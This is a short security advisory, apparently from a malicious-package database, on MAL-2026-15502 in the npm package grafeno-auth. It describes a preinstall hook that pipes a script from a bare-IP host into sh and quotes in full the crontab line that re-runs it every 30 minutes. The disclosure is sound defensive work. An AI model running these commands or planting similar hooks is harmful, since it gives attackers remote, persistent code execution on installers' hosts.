## What is MAL-2026-15502?

MAL-2026-15502 is a malicious package in grafeno-auth, published on 28 Aug 2026. 

### Official description

package.json declares a preinstall hook that shells out via node -e / child_process to curl http://216.126.236.46/x.sh over plain HTTP and pipes the response to sh, then appends a crontab entry ('*/30 * * * * curl -s 216.126.236.46/x.sh|sh') that re-fetches and re-executes the same URL every 30 minutes. The shipped index.js is an inert stub exporting a no-op login function, so the manifest's lifecycle hook is the package's only real behavior. Running npm install executes attacker-controlled code from a bare-IP HTTP endpoint on the installer's host and establishes persistent remote code delivery via cron; the payload at that URL is mutable by the operator of the IP.
